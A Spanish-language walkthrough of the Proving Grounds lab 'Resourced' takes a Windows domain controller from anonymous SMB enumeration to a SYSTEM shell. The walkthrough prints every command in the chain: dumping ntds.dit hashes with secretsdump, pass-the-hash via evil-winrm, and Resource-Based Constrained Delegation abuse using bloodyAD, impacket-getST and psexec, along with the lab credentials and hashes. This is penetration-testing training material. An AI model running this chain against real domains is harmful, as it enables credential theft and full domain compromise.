Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / ops / resourced.es.md

Resourced

12 de febrero de 2025 | Proving Grounds | medium
#windows #active-directory #ntds-dit #pass-the-hash #genericwrite #rbcd #bloodhound #kerberos

Resourced Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Medium
  • IP Address: 192.168.137.175
  • Autor: AETH3RON

Resumen

Resourced es un Controlador de Dominio Windows que expone archivos internos críticos debido a permisos débiles. El acceso inicial se establece descubriendo credenciales en el atributo de descripción de un usuario, lo que permite acceder a un share que contiene un backup de la base de datos de Active Directory (ntds.dit). Tras volcar los hashes del dominio y autenticarnos vía WinRM, la escalada de privilegios se logra explotando un ACL GenericWrite sobre el Controlador de Dominio para realizar un ataque de Resource-Based Constrained Delegation (RBCD).

Enumeración

Nmap

Comenzamos escaneando el objetivo para identificar los puertos abiertos y servicios.

nmap -Pn -sS -sV -p- 192.168.137.175 -oN nmap-basic

escaneo nmap básico

Realizamos un escaneo más completo sobre los puertos descubiertos para enumerar el entorno de Active Directory.

nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.137.175 -oN nmap-common

escaneo nmap completo

SMB

Procedemos con enumeración SMB básica usando NetExec para identificar usuarios potenciales o información accesible sin autenticación.

nxc smb 192.168.137.175 -u '' -p '' --users

enumeración de usuarios nxc

Descubrimos una filtración de información crítica: el usuario V.Ventz tiene su contraseña almacenada en el atributo description: HotelCalifornia194!

Acceso Inicial

Con credenciales válidas, enumeramos los shares disponibles para ver a qué puede acceder este usuario.

nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' --shares

enumeración de shares nxc

Identificamos shares interesantes. Para explorar exhaustivamente su contenido, usamos el módulo spider_plus.

nxc smb 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M spider_plus

nxc spider plus

Analizando el output JSON resultante, confirmamos la existencia de dos archivos críticos: ntds.dit y SYSTEM.

output json de spider

El archivo ntds.dit es la base de datos de Active Directory, y combinado con el hive SYSTEM, podemos extraer todos los hashes del dominio offline. Descargamos estos archivos y usamos impacket-secretsdump para volcar los hashes.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

impacket secretsdump

Extraemos exitosamente los hashes NTLM para todos los usuarios. Para obtener una shell, comprobamos qué usuarios pertenecen al grupo Remote Management Users, que permite el acceso WinRM.

nxc ldap 192.168.137.175 -u 'v.ventz' -p 'HotelCalifornia194!' -M group-mem -o GROUP="Remote Management Users"

nxc ldap membresía del grupo

El usuario L.Livingstone es miembro. Usamos su hash para autenticarnos mediante Pass-the-Hash con evil-winrm.

evil-winrm -i 192.168.137.175 -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'

shell evil-winrm

Escalada de Privilegios

Para identificar rutas de escalada, recolectamos datos del dominio usando SharpHound.

.\SharpHound.exe -c All --zipfilename loot.zip

recolección sharphound

Tras importar los datos en BloodHound, descubrimos que nuestro usuario, L.Livingstone, tiene privilegios GenericWrite sobre el objeto del Controlador de Dominio (RESOURCEDC).

ruta genericwrite en bloodhound

Esta configuración nos permite realizar un ataque de Resource-Based Constrained Delegation (RBCD).

Resource-Based Constrained Delegation (RBCD)

RBCD permite a un objeto (en este caso, el DC) decidir qué recursos pueden impersonar usuarios ante él. Como tenemos acceso de escritura sobre el objeto del DC, podemos configurarlo para que “confíe” en una cuenta de equipo que controlamos. Una vez en la lista de confianza, nuestra máquina controlada puede solicitar un ticket de servicio para el Administrador y acceder al DC.

Usamos bloodyAD para ejecutar este ataque. Primero, creamos una nueva cuenta de equipo (PwnMachine) que controlamos.

bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add computer PwnMachine 'Hacker123!'

bloodyad crear equipo

A continuación, configuramos el Controlador de Dominio para permitir que PwnMachine delegue ante él (configurando el atributo msDS-AllowedToActOnBehalfOfOtherIdentity).

bloodyAD --host 192.168.137.175 -d resourced.local -u L.Livingstone -p 'aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808' add rbcd RESOURCEDC$ PwnMachine$

bloodyad configurar rbcd

Ahora, solicitamos un Service Ticket (TGS) impersonando al Administrador para el servicio CIFS en el DC.

impacket-getST -spn cifs/RESOURCEDC.resourced.local -impersonate Administrator -dc-ip 192.168.137.175 'resourced.local/PwnMachine$:Hacker123!'

impacket getST

Finalmente, exportamos el ticket y usamos psexec (usando autenticación Kerberos) para obtener una shell de sistema en el Controlador de Dominio.

export KRB5CCNAME=Administrator@cifs_RESOURCEDC.resourced.local@RESOURCED.LOCAL.ccache
impacket-psexec -k -no-pass RESOURCEDC.resourced.local

impacket psexec shell de sistema

Impacto de Negocio

Esta cadena de ataque demuestra las graves consecuencias de almacenes de credenciales expuestos y permisos de Active Directory mal configurados. La capacidad de volcar la base de datos NTDS.dit — que contiene todos los hashes de contraseñas del dominio — representa una brecha catastrófica equivalente a comprometer todas las cuentas de usuario de la organización simultáneamente. El posterior ataque de Resource-Based Constrained Delegation mediante permisos GenericWrite resalta cómo una única entrada de ACL mal configurada puede otorgar a un atacante la capacidad de suplantar a cualquier usuario, incluyendo administradores de dominio. En industrias reguladas, este nivel de compromiso desencadenaría notificaciones obligatorias de brecha y potenciales sanciones regulatorias.

Referencias